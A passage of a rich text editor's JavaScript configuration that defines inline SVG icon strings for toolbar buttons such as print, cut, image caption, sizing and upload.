0 001.172 8z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M8 5.5a2.5 2.5 0 100 5 2.5 2.5 0 000-5zM4.5 8a3.5 3.5 0 117 0 3.5 3.5 0 01-7 0z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_insertdocument = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M25.7,9.3l-7-7A.91.91,0,0,0,18,2H8A2,2,0,0,0,6,4V28a2,2,0,0,0,2,2H24a2,2,0,0,0,2-2V10A.91.91,0,0,0,25.7,9.3ZM18,4.4,23.6,10H18ZM24,28H8V4h8v6a2,2,0,0,0,2,2h6Z"/><polygon points="21 19 17 19 17 15 15 15 15 19 11 19 11 21 15 21 15 25 17 25 17 21 21 21 21 19"></polygon></svg>'; RTE_DefaultConfig.svgCode_inserttemplate = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M26,6v4H6V6H26m0-2H6A2,2,0,0,0,4,6v4a2,2,0,0,0,2,2H26a2,2,0,0,0,2-2V6a2,2,0,0,0-2-2Z"/><path d="M10,16V26H6V16h4m0-2H6a2,2,0,0,0-2,2V26a2,2,0,0,0,2,2h4a2,2,0,0,0,2-2V16a2,2,0,0,0-2-2Z"/><path d="M26,16V26H16V16H26m0-2H16a2,2,0,0,0-2,2V26a2,2,0,0,0,2,2H26a2,2,0,0,0,2-2V16a2,2,0,0,0-2-2Z"/></svg>'; RTE_DefaultConfig.svgCode_print = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M28,9H25V3H7V9H4a2,2,0,0,0-2,2V21a2,2,0,0,0,2,2H7v6H25V23h3a2,2,0,0,0,2-2V11A2,2,0,0,0,28,9ZM9,5H23V9H9ZM23,27H9V17H23Zm5-6H25V15H7v6H4V11H28Z"/></svg>'; RTE_DefaultConfig.svgCode_newdoc = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M25.7,9.3l-7-7A.9078.9078,0,0,0,18,2H8A2.0059,2.0059,0,0,0,6,4V28a2.0059,2.0059,0,0,0,2,2H24a2.0059,2.0059,0,0,0,2-2V10A.9078.9078,0,0,0,25.7,9.3ZM18,4.4,23.6,10H18ZM24,28H8V4h8v6a2.0059,2.0059,0,0,0,2,2h6Z"/></svg>'; RTE_DefaultConfig.svgCode_lineheight = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><rect width="13" height="2" x="17" y="6"></rect><rect width="10" height="2" x="17" y="12"></rect><rect width="13" height="2" x="17" y="18"></rect><rect width="10" height="2" x="17" y="24"></rect><polygon points="11.59 13.41 8 9.83 8 9.83 4.41 13.42 3 12 8 7 13 12 11.59 13.41"></polygon><polygon points="11.59 18.59 8 22.17 8 22.17 4.41 18.58 3 20 8 25 13 20 11.59 18.59"></polygon></svg>'; RTE_DefaultConfig.svgCode_insertemoji = '<svg viewBox="-2 -2 20 20"><circle fill="none" cx="8" cy="8" r="6"/><path fill="#5F6368" d="M8,1C4.1,1,1,4.1,1,8s3.1,7,7,7s7-3.1,7-7C15,4.1,11.9,1,8,1z M8,14c-3.3,0-6-2.7-6-6s2.7-6,6-6s6,2.7,6,6C14,11.3,11.3,14,8,14z M11,9.8l0.9,0.5c-1.2,2.2-4,2.9-6.1,1.6c-0.7-0.4-1.3-1-1.6-1.6L5,9.8c1,1.7,3.1,2.2,4.8,1.3C10.3,10.7,10.7,10.3,11,9.8z M4.5,6.5c0-0.6,0.4-1,1-1s1,0.4,1,1s-0.4,1-1,1S4.5,7.1,4.5,6.5z M9.5,6.5c0-0.6,0.4-1,1-1s1,0.4,1,1s-0.4,1-1,1S9.5,7.1,9.5,6.5z"/></svg>'; RTE_DefaultConfig.svgCode_insertchars = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M22.7373,25A14.3093,14.3093,0,0,0,27,15C27,8.42,22.58,4,16,4S5,8.42,5,15A14.3093,14.3093,0,0,0,9.2627,25H4v2h9V25.4722l-.4355-.2979A12.646,12.646,0,0,1,7,15c0-5.4673,3.5327-9,9-9s9,3.5327,9,9a12.5671,12.5671,0,0,1-5,9.7615V27h8V25Z"/></svg>'; RTE_DefaultConfig.svgCode_selectall = '<svg viewBox="0 0 32 32" fill="#5F6368"><path d="M5,5v1v1h1h1V6V5H6H5z M9,5v2h2V5H9z M13,5v2h2V5H13z M17,5v2h2V5H17z M21,5v2h2V5H21z M25,5v1v1h1h1V6V5h-1H25z M5,9v2h2V9H5z M25,9v2h2V9H25z M10,11v2h12v-2H10z M5,13v2h2v-2H5z M25,13v2h2v-2H25z M10,15v2h10v-2H10z M5,17v2h2v-2H5z M25,17v2h2v-2H25z M10,19v2h12v-2H10z M5,21v2h2v-2H5z M25,21v2h2v-2H25z M5,25v1v1h1h1v-1v-1H6H5z M9,25v2h2v-2H9z M13,25v2h2v-2H13z M17,25v2h2v-2H17z M21,25v2h2v-2H21z M25,25v1v1h1h1v-1v-1h-1H25z"/></svg>'; RTE_DefaultConfig.svgCode_inserthorizontalrule = '<svg viewBox="0 0 20 20" fill="#5F6368"><rect width="15" height="1.5" x="3" y="12" /></svg>'; RTE_DefaultConfig.svgCode_insertdate = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M26,4h-4V2h-2v2h-8V2h-2v2H6C4.9,4,4,4.9,4,6v20c0,1.1,0.9,2,2,2h20c1.1,0,2-0.9,2-2V6C28,4.9,27.1,4,26,4z M26,26H6V12h20 V26z M26,10H6V6h4v2h2V6h8v2h2V6h4V10z"/></svg>'; RTE_DefaultConfig.svgCode_forecolor = '<svg viewBox="0 0 20 20" fill="#5F6368"><path d="M13.6,12.6h1.2l-4.3-9.8H9.3L5,12.6h1.2l1-2.3h5.4L13.6,12.6z M7.8,9.2l2.1-4.8H10l2.1,4.8L7.8,9.2z M3.8,14.4h12.3v2.3H3.8V14.4z"/></svg>'; RTE_DefaultConfig.svgCode_backcolor = '<svg viewBox="0 0 20 20" fill="#5F6368"><path d="M3.8,14.4h12.3v2.3H3.8V14.4z"/><path d="M15.8,8.1c0-0.1,0-0.2-0.1-0.3L11,3.1c0,0-0.1,0-0.1-0.1V2H9.9v1.5L4.1,8.2C3.9,8.3,3.8,8.6,4,8.8l4.6,4.6c0.1,0.1,0.2,0.2,0.4,0.2h0c0.1,0,0.3,0,0.4-0.1l5.3-4.3v2c0,0.3,0.2,0.5,0.5,0.5c0.3,0,0.5-0.2,0.5-0.5V8.1C15.8,8.1,15.8,8.1,15.8,8.1z M9.1,12.4L5.2,8.5l4.6-3.8v2.1h1.1V4.5L14.5,8L9.1,12.4z"/></svg>'; RTE_DefaultConfig.svgCode_help = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><polygon points="17 22 17 13 13 13 13 15 15 15 15 22 12 22 12 24 20 24 20 22 17 22"></polygon><path d="M16,7a1.5,1.5,0,1,0,1.5,1.5A1.5,1.5,0,0,0,16,7Z"/><path d="M16,30A14,14,0,1,1,30,16,14,14,0,0,1,16,30ZM16,4A12,12,0,1,0,28,16,12,12,0,0,0,16,4Z"/></svg>'; RTE_DefaultConfig.svgCode_tableheader = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M14,5h-3V4h-1v1H7V4H6v1H3V4H2v11h13V4h-1V5z M6,14H3v-2h3V14z M6,11H3V9h3V11z M6,8H3V6h3V8z M10,14H7v-2h3V14z M10,11H7V9h3V11z M10,8H7V6h3V8z M14,14h-3v-2h3V14z M14,11h-3V9h3V11z M14,8h-3V6h3V8z M2,1h13v2H2V1z"/></svg>'; RTE_DefaultConfig.svgCode_menu_tablecell = '<svg viewBox="-1 -1 18 18" fill="#5F6368"><path d="M2,2v11h12V2H2z M3,3h3v3H3V3z M3,12V7h3v5H3z M7,6V3h6v3H7z"/><path fill="#F0EFF1" d="M13,6H7V3h6V6z M6,3H3v3h3V3z M6,7H3v5h3V7z"/></svg>'; RTE_DefaultConfig.svgCode_menu_tablerow = '<svg viewBox="-2 -2 20 20"><path fill="#F0EFF1" d="M7,13h3v-2H7V13z M7,10h3V8H7V10z M7,7h3V5H7V7z M11,13h3v-2h-3V13z M11,10h3V8h-3V10z M11,5v2h3V5H11z"/><path fill="#666666" d="M11,8h3v2h-3V8z M7,10h3V8H7V10z M3,8v2h3V8H3z"/><path fill="#5F6368" d="M2,2v12h13V2H2z M6,13H3v-2h3V13z M6,10H3V8h3V10z M6,7H3V5h3V7z M10,13H7v-2h3V13z M10,10H7V8h3V10z M10,7H7V5h3V7z M14,13h-3v-2h3V13z M14,10h-3V8h3V10z M14,7h-3V5h3V7z"/></svg>'; RTE_DefaultConfig.svgCode_menu_tablecolumn = '<svg viewBox="-2 -2 20 20"><g><path fill="#F0EFF1" d="M7,13h3v-2H7V13z M7,10h3V8H7V10z M7,7h3V5H7V7z M11,13h3v-2h-3V13z M11,10h3V8h-3V10z M11,5v2h3V5H11z"/><path fill="#666666" d="M7,11h3v2H7V11z M7,10h3V8H7V10z M7,5v2h3V5H7z"/></g><g><path fill="#5F6368" d="M2,2v12h13V2H2z M6,13H3v-2h3V13z M6,10H3V8h3V10z M6,7H3V5h3V7z M10,13H7v-2h3V13z M10,10H7V8h3V10z M10,7H7V5h3V7z M14,13h-3v-2h3V13z M14,10h-3V8h3V10z M14,7h-3V5h3V7z"/></g></svg>'; RTE_DefaultConfig.svgCode_menu_table = RTE_DefaultConfig.svgCode_inserttable; RTE_DefaultConfig.svgCode_camera = '<svg viewBox="-2 -2 24 24" fill="#5F6368"><path fill-rule="nonzero" d="M5.6,0 L4.136,2.00333128 L1.6,2.00333128 C0.72,2.00333128 0,2.70333128 0,3.55888684 L0,12.4471661 C0,13.3027217 0.72,14.0027217 1.6,14.0027217 L14.4,14.0027217 C15.28,14.0027217 16,13.3027217 16,12.4471661 L16,3.55888684 C16,2.70333128 15.28,2.00333128 14.4,2.00333128 L11.864,2.00333128 L10.4,0 L5.6,0 Z M8,11.2 C5.792,11.2 4,9.52746667 4,7.46666667 C4,5.40586667 5.792,3.73333333 8,3.73333333 C10.208,3.73333333 12,5.40586667 12,7.46666667 C12,9.52746667 10.208,11.2 8,11.2 Z M8,9.8 C9.38071187,9.8 10.5,8.75533108 10.5,7.46666667 C10.5,6.17800225 9.38071187,5.13333333 8,5.13333333 C6.61928813,5.13333333 5.5,6.17800225 5.5,7.46666667 C5.5,8.75533108 6.61928813,9.8 8,9.8 Z" transform="translate(1 2)"/></svg>'; RTE_DefaultConfig.svgCode_cut = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M11.5,10c-0.4,0-0.8,0.1-1.2,0.3L9.8,9.8C9.9,9.6,10,9.3,10,9c0-0.5-0.2-1.1-0.6-1.4c0.9-1.7,2.1-3.6,2.3-4C11.8,3.2,12,2.9,12,2.5c0-0.3-0.1-0.6-0.4-0.8L11,1L8,7L5,1L4.4,1.6C4.1,1.9,4,2.2,4,2.5c0,0.4,0.2,0.7,0.4,1.1c0.2,0.4,1.3,2.4,2.3,4C6,8.1,5.8,9.1,6.2,9.8l-0.5,0.5C5.3,10.1,4.9,10,4.5,10C3.1,10,2,11.1,2,12.5C2,13.9,3.1,15,4.5,15C5.9,15,7,13.9,7,12.5c0-0.4-0.1-0.8-0.3-1.2l0.5-0.5c0.5,0.2,1.1,0.2,1.6,0l0.5,0.5C9.1,11.7,9,12.1,9,12.5c0,1.4,1.1,2.5,2.5,2.5 c1.4,0,2.5-1.1,2.5-2.5C14,11.1,12.9,10,11.5,10z M4.5,14C3.7,14,3,13.4,3,12.6c0,0,0,0,0,0C3,11.7,3.7,11,4.5,11C5.3,11,6,11.7,6,12.5C6,13.3,5.3,14,4.5,14C4.5,14,4.5,14,4.5,14z M8,10c-0.6,0-1-0.4-1-1s0.4-1,1-1s1,0.4,1,1S8.6,10,8,10z M11.5,14c-0.8,0-1.5-0.7-1.5-1.5c0,0,0,0,0,0c0-0.8,0.7-1.5,1.5-1.5s1.5,0.7,1.5,1.5S12.3,14,11.5,14C11.5,14,11.5,14,11.5,14 L11.5,14z"/></svg>'; RTE_DefaultConfig.svgCode_insertimagedragdrop = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2,1h1v1H2V1z M2,3h1v1H2V3z M2,5h1v1H2V5z M2,7h1v1H2V7z M2,9h1v1H2V9z M2,11h1v1H2V11z M4,11h1v1H4V11z M14,3h1v1h-1V3z M14,5h1v1h-1V5z M14,7h1v1h-1V7z M14,9h1v1h-1V9z M14,11h1v1h-1V11z M12,11h1v1h-1V11z M4,1h1v1H4V1z M6,1h1v1H6 V1z M8,1h1v1H8V1z M10,1h1v1h-1V1z M12,1h1v1h-1V1z M14,1h1v1h-1V1z"/><path d="M8.2,10.6l2.1,4.2l1.5-0.8L10,10h2.5L6.1,3v10.1L8.2,10.6z"/></svg>'; RTE_DefaultConfig.svgCode_imagescale = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill="#f6f6f6" d="M16 7h-2v7h-7v2h-7v-7h2v-7h7v-2h7v7z"/><path fill="#5F6368" d="M13 3v10h-10v-10h10zm-1 8l-1.5-1.549-2 1.549-2.5-3.126-2 2.21v1.916h8v-1zm0-7h-8v4.084l2-2.21 2.5 3.126 2-1 1.5 1v-5zm-2 1h-2v2h2v-2zm5 1l-.019-5h-4.981v1h4v4h1zm-14 4l.019 5h4.981v-1h-4v-4h-1z"/><path fill="#F0EFF1" d="M12 12h-8v-1.916l2-2.21 2.5 3.126 2-1.549 1.5 1.549v1zm0-8v5l-1.5-1-2 1-2.5-3.126-2 2.21v-4.084h8zm-2 1h-2v2h2v-2z" /><</svg>'; RTE_DefaultConfig.svgCode_linkstyle = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill="#f6f6f6" d="M.572 9.992l6.414-6.415 1.5 1.5 4.5-4.5 2.414 2.414-4.5 4.5 1.5 1.5-6.415 6.415-5.413-5.414z"/><path fill="#424242" d="M6 14l-4-4.008 3-2.992 4.001 3.993-3.001 3.007zm5-5.008l-4-3.992-1 .991 3.986 4.009 1.014-1.008zm3-6.001l-1.014-.991-3.984 3.991.998 1 4-4z" id="iconBg"/></svg>'; RTE_DefaultConfig.svgCode_imagecaption = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill="#5F6368" d="M3,1v7l1-1V2h8v5l-1.5-1L13,7.7V1H3z M4,10H3v5h10v-5H4z M4,11h5v1H4V11z M12,14H4v-1h8V14z"/><path fill="#5F6368" d="M3,1v7l1-1V2h8v5l-1.5-1L13,7.7V1H3z M4,10H3v5h10v-5H4z M4,11h5v1H4V11z M12,14H4v-1h8V14z"/><circle fill="#C27D1A" cx="9" cy="4" r="1"/><path fill="#1BA1E2" d="M13,10H3V8l3-3l2.5,2l2-1L13,7.7V10z"/></svg>'; RTE_DefaultConfig.svgCode_imagestyle = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill="#f6f6f6" d="M.572 9.992l6.414-6.415 1.5 1.5 4.5-4.5 2.414 2.414-4.5 4.5 1.5 1.5-6.415 6.415-5.413-5.414z" /><path fill="#424242" d="M6 14l-4-4.008 3-2.992 4.001 3.993-3.001 3.007zm5-5.008l-4-3.992-1 .991 3.986 4.009 1.014-1.008zm3-6.001l-1.014-.991-3.984 3.991.998 1 4-4z""/></svg>'; RTE_DefaultConfig.svgCode_controlopenlink = '<svg viewBox="-2 -2 20 20"><path d="M1.5 13A1.5 1.5 0 003 14.5h8a1.5 1.5 0 001.5-1.5V9a.5.5 0 00-1 0v4a.5.5 0 01-.5.5H3a.5.5 0 01-.5-.5V5a.5.5 0 01.5-.5h4a.5.5 0 000-1H3A1.5 1.5 0 001.5 5v8zm7-11a.5.5 0 01.5-.5h5a.5.5 0 01.5.5v5a.5.5 0 01-1 0V2.5H9a.5.5 0 01-.5-.5z" clip-rule="evenodd"/> <path d="M14.354 1.646a.5.5 0 010 .708l-8 8a.5.5 0 01-.708-.708l8-8a.5.5 0 01.708 0z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_controleditlink = '<svg viewBox="-2 -2 20 20"><path fill="#f6f6f6" d="M13.313 7.235l-.417-.146c-.024-.104-.066-.2-.098-.301l2.453-2.453a2.55 2.55 0 0 0 .748-1.81c0-.684-.266-1.327-.749-1.81C14.796.261 14.136 0 13.439 0s-1.356.261-1.811.715L8.343 4H4C1.794 4 0 5.794 0 8c0 1.69 1.08 3.203 2.688 3.766l.417.146A4.006 4.006 0 0 0 7 15h5c2.206 0 4-1.794 4-4a4 4 0 0 0-2.687-3.765z"/><path fill="#424242" d="M6.041 10.797l3.413-.665.274-.274a2 2 0 0 0 1.13-1.13l1.104-1.104c.016.125.038.247.038.376 0 1.654-1.346 3-3 3H6c0-.072.027-.135.041-.203zM2 8c0-1.103.897-2 2-2h2.343l1-1H4C2.346 5 1 6.346 1 8c0 1.309.847 2.412 2.018 2.821.016-.345.079-.676.177-.993A2.001 2.001 0 0 1 2 8zm10.982.179a3.967 3.967 0 0 1-.177.993A2.002 2.002 0 0 1 14 11c0 1.102-.898 2-2 2H7c-1.103 0-2-.898-2-2 0-.237.049-.462.125-.673l.352-1.897A2.99 2.99 0 0 0 4 11c0 1.654 1.346 3 3 3h5c1.654 0 3-1.346 3-3a2.993 2.993 0 0 0-2.018-2.821z"/><path fill="#00539c" d="M14.543 1.422c-.563-.563-1.645-.563-2.207 0l-5.601 5.6L6 9.965l2.943-.736 5.601-5.6a1.558 1.558 0 0 0-.001-2.207zm-.707 1.5L8.431 8.326l-1.057.264.265-1.057 5.404-5.404c.188-.188.605-.188.793 0a.558.558 0 0 1 0 .793z"/></g></svg>'; RTE_DefaultConfig.svgCode_controlalt = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill="#f6f6f6" d="M16,6v9H2V9.717l-1,1.1V0H2.392L8.857,6Z"/><path fill="#f0eff1" d="M6.843,8l.426.965L4.261,10.332,4,9.744V13H14V8ZM12,11H6V10h6Z"/><path fill="#424242" d="M12,11H6V10h6ZM9.935,7H6.4l.441,1H14v5H4V9.744L3.336,8.249,3,8.619V14H15V7Z"/><path fill="#00539c" d="M4.766,9,3.629,6.442,2,8.231V1L7.387,6H4.869L5.955,8.463Z"/></svg>'; RTE_DefaultConfig.svgCode_controlsize = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill="#f6f6f6" d="M16 7h-2v7h-7v2h-7v-7h2v-7h7v-2h7v7z"/><path fill="#5F6368" d="M13 3v10h-10v-10h10zm-1 8l-1.5-1.549-2 1.549-2.5-3.126-2 2.21v1.916h8v-1zm0-7h-8v4.084l2-2.21 2.5 3.126 2-1 1.5 1v-5zm-2 1h-2v2h2v-2zm5 1l-.019-5h-4.981v1h4v4h1zm-14 4l.019 5h4.981v-1h-4v-4h-1z"/><path fill="#F0EFF1" d="M12 12h-8v-1.916l2-2.21 2.5 3.126 2-1.549 1.5 1.549v1zm0-8v5l-1.5-1-2 1-2.5-3.126-2 2.21v-4.084h8zm-2 1h-2v2h2v-2z" id="iconFg"/></svg>'; RTE_DefaultConfig.svgCode_controlsizeauto = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M0 3.5A1.5 1.5 0 011.5 2h13A1.5 1.5 0 0116 3.5v9a1.5 1.5 0 01-1.5 1.5h-13A1.5 1.5 0 010 12.5v-9zM1.5 3a.5.5 0 00-.5.5v9a.5.5 0 00.5.5h13a.5.5 0 00.5-.5v-9a.5.5 0 00-.5-.5h-13z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M2 4.5a.5.5 0 01.5-.5h3a.5.5 0 010 1H3v2.5a.5.5 0 01-1 0v-3zm12 7a.5.5 0 01-.5.5h-3a.5.5 0 010-1H13V8.5a.5.5 0 011 0v3z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_controlsize100 = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M8,10.5c0,1.8-2.1,3.1-3.7,2.2L2,15l-1-1l2.3-2.3C1.4,8,7.9,6.4,8,10.5z M5.5,9c-1.9,0-1.9,3,0,3C7.4,12,7.4,9,5.5,9z M13.1,4.9c0.4,2.7-3.6,2.7-3.2,0C9.6,2.3,13.5,2.3,13.1,4.9z M12.1,4.9c0.2-1.7-1.4-1.7-1.2,0C10.7,6.6,12.3,6.6,12.1,4.9z M9.4,4.9c0.4,2.7-3.6,2.7-3.2,0C5.8,2.3,9.7,2.3,9.4,4.9z M8.3,4.9c0.2-1.7-1.4-1.7-1.2,0 C6.9,6.6,8.6,6.6,8.3,4.9z M5.3,6.9H2.8V6.2h0.8v-2H2.8V3.5c0.4,0,0.9-0.1,0.9-0.5h0.9v3.2h0.8V6.9z M15,1v8H8.6C8.5,8.6,8.2,8.3,7.9,8H14V2H2v6h1.1C2.8,8.3,2.5,8.6,2.4,9H1V1H15z"/></svg>'; RTE_DefaultConfig.svgCode_controlsize75 = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M8,10.5c0,1.8-2.1,3.1-3.7,2.2L2,15l-1-1l2.3-2.3C1.4,8,7.9,6.4,8,10.5z M5.5,9c-1.9,0-1.9,3,0,3C7.4,12,7.4,9,5.5,9z M13.2,5.6c0,1.5-2,1.6-3,1.2V5.9h0.1c2.2,1.3,2.6-1.5,0-0.7V3h2.8v0.7h-1.8v0.6C12.1,4.3,13.3,4.5,13.2,5.6z M9.4,3.8L7.7,6.9H6.6l1.8-3.1h-2V3h3V3.8z M15,1v8H8.6C8.5,8.6,8.2,8.3,7.9,8H14V2H2v6h1.1C2.8,8.3,2.5,8.6,2.4,9H1V1H15z"/></svg>'; RTE_DefaultConfig.svgCode_controlsize50 = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M8,10.5c0,1.8-2.1,3.1-3.7,2.2L2,15l-1-1l2.3-2.3C1.4,8,7.9,6.4,8,10.5z M5.5,9c-1.9,0-1.9,3,0,3C7.4,12,7.4,9,5.5,9z M13.3,4.9c0.4,2.7-3.6,2.7-3.2,0C9.7,2.3,13.7,2.3,13.3,4.9z M12.3,4.9c0.2-1.7-1.4-1.7-1.2,0C10.9,6.6,12.5,6.6,12.3,4.9z M9.4,5.6c0,1.5-2,1.6-3,1.2V5.9h0.1c2.2,1.3,2.6-1.5,0-0.7V3h2.8v0.7H7.5v0.6C8.3,4.3,9.5,4.5,9.4,5.6z M15,1v8H8.6C8.5,8.6,8.2,8.3,7.9,8H14V2H2v6h1.1C2.8,8.3,2.5,8.6,2.4,9H1V1H15z"/></svg>'; RTE_DefaultConfig.svgCode_controlsize25 = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M8,10.5c0,1.8-2.1,3.1-3.7,2.2L2,15l-1-1l2.3-2.3C1.4,8,7.9,6.4,8,10.5z M5.5,9c-1.9,0-1.9,3,0,3C7.4,12,7.4,9,5.5,9z M13.2,5.6c0,1.5-2,1.6-3,1.2V5.9h0.1c2.2,1.3,2.6-1.5,0-0.7V3h2.8v0.7h-1.8v0.6C12.1,4.3,13.3,4.5,13.2,5.6z M9.5,6.9h-3V6.2C8,5.6,9.4,2.7,6.7,4H6.6V3.2c2.9-1.2,3.7,1.6,1.2,3h1.7V6.9z M15,1v8H8.6C8.5,8.6,8.2,8.3,7.9,8H14V2H2v6h1.1C2.8,8.3,2.5,8.6,2.4,9H1V1H15z"/></svg>';; RTE_DefaultConfig.svgCode_togglemore = RTE_DefaultConfig.svgCode_more = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M9.5 13a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zm0-5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zm0-5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_inlinestyle = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M5.9,13.6h1v1h-1V13.6z M3.9,10.6h1v-1h-1V10.6z M7.9,14.6h1v-1h-1V14.6z M3.9,12.6h1v-1h-1V12.6z M3.9,14.6h1v-1h-1V14.6z M13.9,14.6h1v-1h-1V14.6z M9.9,14.6h1v-1h-1V14.6z M11.9,14.6h1v-1h-1V14.6z M14.9,3.6v9h-2v-2H9.4l-1.6,2 h-2l7-9H14.9z M12.9,6.1l-2.3,2.9h2.3V6.1z"/><path d="M6.9,5.6h-2v2h-2v-2h-2v-2h2v-2h2v2h2V5.6z"/></svg></svg>'; RTE_DefaultConfig.svgCode_floatleft = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2 3.5a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm5 3a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm-5 3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/><path d="M3.734 6.352a6.586 6.586 0 00-.445.275 1.94 1.94 0 00-.346.299 1.38 1.38 0 00-.252.369c-.058.129-.1.295-.123.498h.282c.242 0 .431.06.568.182.14.117.21.29.21.521a.697.697 0 01-.187.463c-.12.14-.289.21-.503.21-.336 0-.577-.108-.721-.327C2.072 8.619 2 8.328 2 7.969c0-.254.055-.485.164-.692.11-.21.242-.398.398-.562.16-.168.33-.31.51-.428.18-.117.33-.213.451-.287l.211.352zm2.168 0a6.588 6.588 0 00-.445.275 1.94 1.94 0 00-.346.299c-.113.12-.199.246-.257.375a1.75 1.75 0 00-.118.492h.282c.242 0 .431.06.568.182.14.117.21.29.21.521a.697.697 0 01-.187.463c-.12.14-.289.21-.504.21-.335 0-.576-.108-.72-.327-.145-.223-.217-.514-.217-.873 0-.254.055-.485.164-.692.11-.21.242-.398.398-.562.16-.168.33-.31.51-.428.18-.117.33-.213.451-.287l.211.352z"></path</svg>'; RTE_DefaultConfig.svgCode_floatright = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2 3.5a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/><path d="M12.168 6.352c.184.105.332.197.445.275.114.074.229.174.346.299.11.117.193.24.252.369s.1.295.123.498h-.281c-.243 0-.432.06-.569.182-.14.117-.21.29-.21.521 0 .164.062.318.187.463.121.14.289.21.504.21.336 0 .576-.108.72-.327.145-.223.217-.514.217-.873 0-.254-.054-.485-.164-.692a2.436 2.436 0 00-.398-.562c-.16-.168-.33-.31-.51-.428-.18-.117-.33-.213-.451-.287l-.211.352zm-2.168 0c.184.105.332.197.445.275.114.074.229.174.346.299.113.12.2.246.258.375.055.125.094.289.117.492h-.281c-.242 0-.432.06-.569.182-.14.117-.21.29-.21.521 0 .164.062.318.187.463.121.14.289.21.504.21.336 0 .576-.108.72-.327.145-.223.217-.514.217-.873 0-.254-.054-.485-.164-.692a2.438 2.438 0 00-.398-.562c-.16-.168-.33-.31-.51-.428-.18-.117-.33-.213-.451-.287L10 6.352z"/></svg>' RTE_DefaultConfig.svgCode_pmoveup = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 01.708 0l6 6a.5.5 0 01-.708.708L8 5.707l-5.646 5.647a.5.5 0 01-.708-.708l6-6z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_pmovedown = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 01.708 0L8 10.293l5.646-5.647a.5.5 0 01.708.708l-6 6a.5.5 0 01-.708 0l-6-6a.5.5 0 010-.708z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_plusbtn = '<svg viewBox="0 0 20 20" fill="#5F6368"><path d="M 9.9999997,4.3983051 A 0.62241054,0.62241054 0 0 0 9.3775887,5.0207156 V 9.3775893 H 5.0207156 a 0.62241067,0.62241067 0 0 0 0,1.2448207 h 4.3568731 v 4.356874 a 0.62241054,0.62241054 0 0 0 1.2448213,0 V 10.62241 h 4.356874 a 0.62241067,0.62241067 0 0 0 0,-1.2448207 H 10.62241 V 5.0207156 A 0.62241054,0.62241054 0 0 0 9.9999997,4.3983051 Z" clip-rule="evenodd"/></svg>' RTE_DefaultConfig.svgCode_imageupload = '<svg viewBox="0 0 16 16"><path fill="#f6f6f6" d="M13.212,4.614A5.025,5.025,0,0,0,8.43,1,4.948,4.948,0,0,0,4.666,2.751h-.1a4.625,4.625,0,0,0,0,9.25H6v2H9V12h3.3a3.757,3.757,0,0,0,.914-7.386Z"/><path fill="#424242" d="M15,8.25A2.73,2.73,0,0,1,12.3,11H9V10h3.3a1.75,1.75,0,0,0,0-3.5h-.859V6.063A3.037,3.037,0,0,0,8.43,3,3.005,3.005,0,0,0,5.622,4.988,2.521,2.521,0,0,0,4.561,4.75a2.625,2.625,0,0,0,0,5.25H6v1H4.561a3.626,3.626,0,0,1,0-7.25,3.461,3.461,0,0,1,.567.047,3.963,3.963,0,0,1,7.255,1.7A2.732,2.732,0,0,1,15,8.25Z"/><polygon fill="#00539c" points="9.854 8.146 7.5 5.793 5.146 8.146 5.854 8.854 7 7.707 7 13 8 13 8 7.707 9.146 8.854 9.854 8.146"/></svg>' RTE_DefaultConfig.svgCode_documentupload = RTE_DefaultConfig.svgCode_imageupload; RTE_DefaultConfig.svgCode_tablecellmerge = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" 